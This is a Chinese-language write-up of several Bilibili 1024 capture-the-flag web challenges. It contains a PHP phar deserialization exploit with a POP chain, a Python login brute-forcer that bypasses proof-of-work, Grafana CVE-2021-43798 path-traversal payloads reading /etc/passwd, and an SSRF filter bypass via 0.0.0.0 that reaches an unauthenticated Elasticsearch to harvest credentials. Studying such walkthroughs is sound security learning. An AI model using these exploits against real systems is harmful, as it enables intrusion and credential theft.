题目2

打开没啥点,扫扫目录扫到了 upload.php,GET 访问可以拿到源码

upload.php:

<?php 
    header("content-type:text/html;charset=utf-8");
    
    date_default_timezone_set('PRC');

    if($_SERVER['REQUEST_METHOD']==='POST') {
        
        $filename = $_FILES['file']['name'];
        $temp_name = $_FILES['file']['tmp_name'];
        $size = $_FILES['file']['size'];
        $error = $_FILES['file']['error'];
        if ($size > 2*1024*1024){
            echo "<script>alert('文件过大');window.history.go(-1);</script>";
            exit();
        }
        
        $arr = pathinfo($filename);
        $ext_suffix = $arr['extension'];
        $allow_suffix = array('jpg','gif','jpeg','png');
        if(!in_array($ext_suffix, $allow_suffix)){  
            echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
            exit();
        }
        
        $new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix; 
        move_uploaded_file($temp_name, 'upload/'.$new_filename);
        echo "success save in: ".'upload/'.$new_filename;

    } else if ($_SERVER['REQUEST_METHOD']==='GET') {
        if (isset($_GET['c'])){
            include("5d47c5d8a6299792.php");
            $fpath = $_GET['c'];
            if(file_exists($fpath)){//可触发phar反序列化
                echo "file exists";
            } else { 
                echo "file not exists";
            }
        } else {
            highlight_file(__FILE__);
        } 
    }  
 ?>

这里还有个 5d47c5d8a6299792.php ,访问下也能拿到源码

<?php

// flag in /tmp/flag.php 



class Modifier {

    public function __invoke(){
        include("index.php");
    }
}

class Action {
    protected $checkAccess;
    protected $id;

    public function run()
    {  
        if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){ 
            echo "error path";
            exit();
        } 
        
        if ($this->id !== 0 && $this->id !== 1) {
            switch($this->id) {
                case 0:
                    if ($this->checkAccess) {
                        include($this->checkAccess);
                    }
                    break;
                case 1:
                    throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                    break;
                default:
                    break;         
            }
        }
    }

}

class Content {

    public $formatters;

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
    
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($name, $arguments)
    {
        return call_user_func_array($this->getFormatter($name), $arguments);
    }
}

class Show{
    public $source;
    public $str;
    public $reader;
    public function __construct($file='index.php') {
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString() {
        
        
        $this->str->reset();
    }

    public function __wakeup() {
        
        if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
            throw new Exception('invalid protocol found in '.__CLASS__);
        }
    }

    public function reset() {
        if ($this->reader !== null) {
            
            
            $this->reader->close();
        }
    }
}


highlight_file(__FILE__);

文件上传,又有这么多魔术方法,大概率是利用 phar 反序列化来打了

pop链子

Show:__wakeup -> Show:__toString -> Show:reset -> Content:__call -> Content:getFormatter -> Action:run

这里有几个点:

  • image-20221027205325404

    getFormatter 这里就要返回 array(new Action(), 'run') 来让 call_user_fun_array 触发 run 函数,即 Content 里有 $this->formatters = array('close'=>array(new Action(), 'run'))

  • run 里这里可以使用php弱类型比较绕过

    image-20221027210459320

exp

<?php

class Action {
    protected $checkAccess;
    protected $id; 
    public function __construct($checkAccess, $id)
    {
        $this->checkAccess = $checkAccess;
        $this->id = $id;
    }
}

class Content {
    public $formatters;//数组 array('close'=>array(new Action(), 'run'))

    public function __construct($formatters)
    {
        $this->formatters = $formatters;
    }
    
}

class Show{
    public $source;
    public $str;
    public $reader;
    public function __construct($source, $str, $reader) {
        $this->source = $source;
        $this->str = $str;
        $this->reader = $reader;
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$action = new Action('php://filter/read=convert.base64-encode/resource=/tmp/flag.php', '0');
$formatters = array('close' => array($action, 'run'));
$read = new Content($formatters);
$str = new Show('', '', $read);
$show1 = new Show('', $str, '');
$show0 = new Show($show1, '', '');

$phar->setMetadata($show0); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");

image-20221027211735568

base64解码得到

/**
 * bilibili@2022.
 * Congratulations! This is The Flag!
 * Auth: K3iove@github
 * Repo: 1024-cheers
 * @link https://security.bilibili.com/
 * @license https://www.bilibili.com/
 */

flag2{PhAr_The_bEsT_Lang}

这里有第5题的位置线索 https://github.com/K3iove/1024-cheers

题目1

打开是个登录页面

image-20221028220946439

直接登录会卡死,看下前端源码

core.js 里一堆颜文字代码

http://hi.pcmoe.net/kaomoji.html 解密得到

function SHA256(s) {
  const chrsz = 8
  const hexcase = 0

  function safe_add(x, y) {
    const lsw = (x & 0xFFFF) + (y & 0xFFFF)
    const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
    return (msw << 16) | (lsw & 0xFFFF)
  }

  function S(X, n) {
    return (X >>> n) | (X << (32 - n))
  }

  function R(X, n) {
    return (X >>> n)
  }

  function Ch(x, y, z) {
    return ((x & y) ^ ((~x) & z))
  }

  function Maj(x, y, z) {
    return ((x & y) ^ (x & z) ^ (y & z))
  }

  function Sigma0256(x) {
    return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
  }

  function Sigma1256(x) {
    return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
  }

  function Gamma0256(x) {
    return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
  }

  function Gamma1256(x) {
    return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
  }

  function core_sha256(m, l) {
    const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
    const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
    const W = new Array(64)
    let a, b, c, d, e, f, g, h, i, j
    let T1, T2
    m[l >> 5] |= 0x80 << (24 - l % 32)
    m[((l + 64 >> 9) << 4) + 15] = l
    for (i = 0; i < m.length; i += 16) {
      a = HASH[0]
      b = HASH[1]
      c = HASH[2]
      d = HASH[3]
      e = HASH[4]
      f = HASH[5]
      g = HASH[6]
      h = HASH[7]
      for (j = 0; j < 64; j++) {
        if (j < 16) {
          W[j] = m[j + i]
        } else {
          W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
        }
        T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
        T2 = safe_add(Sigma0256(a), Maj(a, b, c))
        h = g
        g = f
        f = e
        e = safe_add(d, T1)
        d = c
        c = b
        b = a
        a = safe_add(T1, T2)
      }
      HASH[0] = safe_add(a, HASH[0])
      HASH[1] = safe_add(b, HASH[1])
      HASH[2] = safe_add(c, HASH[2])
      HASH[3] = safe_add(d, HASH[3])
      HASH[4] = safe_add(e, HASH[4])
      HASH[5] = safe_add(f, HASH[5])
      HASH[6] = safe_add(g, HASH[6])
      HASH[7] = safe_add(h, HASH[7])
    }
    return HASH
  }

  function str2binb(str) {
    const bin = []
    const mask = (1 << chrsz) - 1
    for (let i = 0; i < str.length * chrsz; i += chrsz) {
      bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
    }
    return bin
  }

  function Utf8Encode(string) {
    string = string.replace(/\r\n/g, '\n')
    let utfText = ''
    for (let n = 0; n < string.length; n++) {
      const c = string.charCodeAt(n)
      if (c < 128) {
        utfText += String.fromCharCode(c)
      } else if ((c > 127) && (c < 2048)) {
        utfText += String.fromCharCode((c >> 6) | 192)
        utfText += String.fromCharCode((c & 63) | 128)
      } else {
        utfText += String.fromCharCode((c >> 12) | 224)
        utfText += String.fromCharCode(((c >> 6) & 63) | 128)
        utfText += String.fromCharCode((c & 63) | 128)
      }
    }
    return utfText
  }

  function binb2hex(binarray) {
    const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
    let str = ''
    for (let i = 0; i < binarray.length * 4; i++) {
      str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
        hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
    }
    return str
  }

  s = Utf8Encode(s)
  return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
}


$(function () {
    $("#btn").click(function () {
        let username = document.getElementById('username').value.trim();
        let password = document.getElementById('password').value.trim();
        //let nonce = parseInt(Math.random()*9 + 23);
        let nonce = parseInt(Math.random()*100 + 9);
        let random = document.getElementById('random').value.trim();
        console.log(nonce);
        for (var i=0;i<Math.pow(2,255);i++) {
            let mystr = username + password + random + i.toString();
            var s256 = SHA256(mystr);
            var s256hex = parseInt(s256, 16)
            if (s256hex < Math.pow(2,(256-nonce))) {
                console.log("success!");
                console.log(mystr);
                console.log(s256);
                console.log(s256hex);
                $.ajax({
                    url: '/crack1/login',
                    type: 'POST',
                    data: JSON.stringify({
                        'username': username,
                        'password': password,
                        'nonce': nonce,
                        'random': random,
                        'proof': i.toString(),
                    }),
                    dataType: 'json',
                    contentType: "application/json",
                    success: function (data) {
                        console.log(data);
                    },
                    error: function (data) {
                        console.log(data);
                    }
                });
                break;
            }
        }
    })
});

大致功能就是获取输入的账号密码,然后和random拼接后后面就是挖矿的原理,要有个工作量证明,防止直接弱口令爆破,本地把那个 nonce 改到最小为 9 ,很快就能跑出。

exp:

from time import sleep
import requests
import re
from hashlib import sha256

session = requests.session()
url = "https://security.bilibili.com"

def getPassList():
    #字典自备
    with open('passwd.txt', 'r') as f:
        list = f.read().split('\n')
    newList = []
    for word in list:
        if len(word) == 8:
            newList.append(word)
    return newList

def proofWork(passList):
    nonce = 9
    target = pow(2, 256-nonce)
    i = 0
    password = ''
    res = session.get(url + "/crack1/index")
    if(res.status_code != 200):
        print("have some error!")
        exit(0)
    randomValue = re.findall('value="(.*?)"', res.text)[0]
    for passwd in passList:
        while True:
            mystr = "admin" + passwd + randomValue + str(i)
            s256hex = int(sha256(mystr.encode()).hexdigest(), base=16)
            if s256hex < target:
                password = passwd
                break
            i += 1
        data = {
            "username": "admin",
            "password": password,
            "nonce": nonce,
            "random": randomValue,
            "proof": str(i)
        }
        print(f"当前password: {password}")
        while True:
            res = session.post(url + "/crack1/login", json=data)
            if res.status_code == 200:
                break
            else:
                print("post error! retry!")
                sleep(5)
        if "you don't proof your work" not in res.text:
            print(res.text)
            print(res.headers)
            return password, nonce, randomValue, i
            

if __name__ == '__main__':
    list = getPassList()
    password, nonce, randomValue, i = proofWork(list)
    print(f"password: {password}")
    print(f"nonce: {nonce}")
    print(f"random: {randomValue}")
    print(f"i: {i}")

image-20221028221919879

flag在相应头里,同时里面有第4题位置的提示。

访问 https://security.bilibili.com/static/img/back2.png 可以拿到第4题位置的提示

题目5

根据第2题的提示找到 https://github.com/K3iove/1024-cheers

image-20221028230709187

这个没啥思路,后来了解到是 postman 里开的测试工作区

postman里直接搜 bilibili-1024-cheers 可以找到

image-20221028230831320

http://101.132.189.74/index

提示 /etc/server.go image-20221028234613524

扫下端口

G:\tools\fscan-1.8.0>fscan -h 101.132.189.74

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.7.1
start infoscan
(icmp) Target 101.132.189.74  is alive
[*] Icmp alive hosts len is: 1
101.132.189.74:8088 open
101.132.189.74:8082 open
101.132.189.74:80 open
101.132.189.74:8081 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle:http://101.132.189.74     code:404 len:18     title:None
[*] WebTitle:http://101.132.189.74:8082 code:200 len:3024   title:JFrog
[*] WebTitle:http://101.132.189.74:8081 code:200 len:878    title:None
[*] WebTitle:http://101.132.189.74:8088 code:302 len:29     title:None 跳转url: http://101.132.189.74:8088/login
[*] WebTitle:http://101.132.189.74:8088/login code:200 len:27707  title:Grafana
[+] InfoScan:http://101.132.189.74:8088/login [editor]
已完成 4/4
[*] 扫描结束,耗时: 4.8669157s

80828081 部署的是 Jfrog 服务,访问下有账号密码要登录,也不存在弱口令。

image-20221029173826074

这里 8088 端口是Grafana v8.2.6,有个 CVE-2021-43798 可以任意文件读取

/public/plugins/text/../../../../../../../../../../etc/passwd

/etc/server.go

/public/plugins/text/../../../../../../../../../../etc/server.go

server.go 源码

package server

import (
	"fmt"
	"github.com/andelf/go-curl"
	"github.com/gin-gonic/gin"
	"io"
	"net"
	"net/http"
	"net/url"
	"os"
	"strings"
	"crack5/utils/try"
)


/*func Test(buf []byte, userdata interface{}) bool {
	println("DEBUG: size=>", len(buf))
	println("DEBUG: content=>", string(buf))
	return true
}*/

func SecCheck(myurl string) bool {
	if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
		return false
	} else {
		return true
	}
}

func IsInternalIp(host string) bool {
	ipaddr, err := net.ResolveIPAddr("ip", host)

	if err != nil {
		fmt.Println(err)
	}

	fmt.Println(ipaddr.IP, ipaddr.Zone)

	if ipaddr.IP.IsLoopback() {
		return true
	}

	ip4 := ipaddr.IP.To4()
	if ip4 == nil {
		return false
	}
	return ip4[0] == 10 ||
		(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
		(ip4[0] == 169 && ip4[1] == 254) ||
		(ip4[0] == 192 && ip4[1] == 168)
}

// 解决跨域问题
func Cors() gin.HandlerFunc {
	return func(c *gin.Context) {
		method := c.Request.Method

		c.Header("Access-Control-Allow-Origin", "*")
		c.Header("Access-Control-Allow-Headers", "Content-Type,AccessToken,X-CSRF-Token, Authorization, Token")
		c.Header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
		c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type")
		c.Header("Access-Control-Allow-Credentials", "true")
		if method == "OPTIONS" {
			c.AbortWithStatus(http.StatusNoContent)
		}
		c.Next()
	}
}


// GetData
func GetData(c *gin.Context) {

	try.Try(func(){
		target, status := c.GetQuery("t")

		if !status {
			c.JSON(http.StatusOK, gin.H{
				"msg":"query invalid",
			})
			return
		}
		if len(target) >= 128 || !SecCheck(target) {
			c.JSON(http.StatusBadRequest, gin.H{
				"msg":"illage url",
			})
			return
		}

		u, err := url.Parse(target)

		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{
				"msg":"illage url",
			})
			return
		} else {
			if (u.Scheme != "http" && u.Scheme != "https") || IsInternalIp(u.Hostname()) {
				c.JSON(http.StatusBadRequest, gin.H{
					"msg":"illage url",
				})
				return
			}

			easy := curl.EasyInit()
			defer easy.Cleanup()
			easy.Setopt(curl.OPT_URL, target)
			easy.Setopt(curl.OPT_TIMEOUT, 3)
			easy.Setopt(curl.OPT_FOLLOWLOCATION, false)
			easy.Setopt(curl.OPT_WRITEFUNCTION, func (buf []byte, extra interface{}) bool {
				c.Data(http.StatusOK, "text/html", buf)
				return true
			})
			err := easy.Perform()
			if err != nil {
				fmt.Printf("ERROR: %v\n", err)
				return
			} else {
				c.JSON(http.StatusInternalServerError, nil)
				return
			}
		}
	}).Catch(func() {
		c.JSON(http.StatusBadGateway, nil)
		return
	})

}

func Info(c *gin.Context) {
	c.JSON(http.StatusOK, gin.H{
		"msg":" /etc/server.go",
	})
	return
}


//
func LoadUrl(r *gin.Engine) {

	r.Use(Cors())
	r.GET("/get", GetData)
	r.GET("/index", Info)
}


func RunAdmin() http.Handler {
	gin.DisableConsoleColor()

	f, _ := os.Create("./logs/server.log")
	gin.DefaultWriter = io.MultiWriter(f)


	r := gin.Default()

	r.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
		return fmt.Sprintf("[Crack5-Web] %s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
			param.ClientIP,
			param.TimeStamp.Format("2006-01-02 15:04:05"),
			param.Method,
			param.Path,
			param.Request.Proto,
			param.StatusCode,
			param.Latency,
			param.Request.UserAgent(),
			param.ErrorMessage,
		)
	}))
	r.Use(gin.Recovery())

	LoadUrl(r)

	return r
}

审计代码发现 /get 下可以GET传参 t 给个 url 来访问这个url,可以打SSRF。

传的 url 有waf检测

image-20221029171247121

image-20221029171319480

这里 IsLoopback 这个函数,这个函数用于判断解析的 ip 地址是否是回环地址,127.0.0.1 是回环地址,返回 true 检测到,无法使用这个来打内网服务。这里可以使用 0.0.0.0 来绕过(不是回环地址,但也是从本机访问的地址)。

image-20221029173143972

爆破下内部端口 扫出来很多

image-20221029173607235

重点关注下这个 9200 端口

{
  "name" : "ali-sh-sec-ctf-25aaa86-01",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "ikcj8ysFR2KnnTa5chqvUA",
  "version" : {
    "number" : "7.17.6",
    "build_flavor" : "default",
    "build_type" : "deb",
    "build_hash" : "f65e9d338dc1d07b642e14a27f338990148ee5b6",
    "build_date" : "2022-08-23T11:08:48.893373482Z",
    "build_snapshot" : false,
    "lucene_version" : "8.11.1",
    "minimum_wire_compatibility_version" : "6.8.0",
    "minimum_index_compatibility_version" : "6.0.0-beta1"
  },
  "tagline" : "You Know, for Search"
}

返回的这个内容给了集群名称 cluster_name ,是 elasticsearch 服务,网上查下这个服务的漏洞,发现有未授权访问漏洞。

参考 https://www.cxyzjd.com/article/u012206617/109628426

这里跟目录就是默认账户,直接访问 /_search 就得到数据库里的信息了

image-20221029180951989

得到用户名和密码,放 8082 端口上的那个 JFrog 上登录下,发现成功登录。

在里面的 Artifacts 里搜索 ssh 能拿到 2222 端口的ssh连接用户名和密码。

image-20221029181242565

image-20221029181431061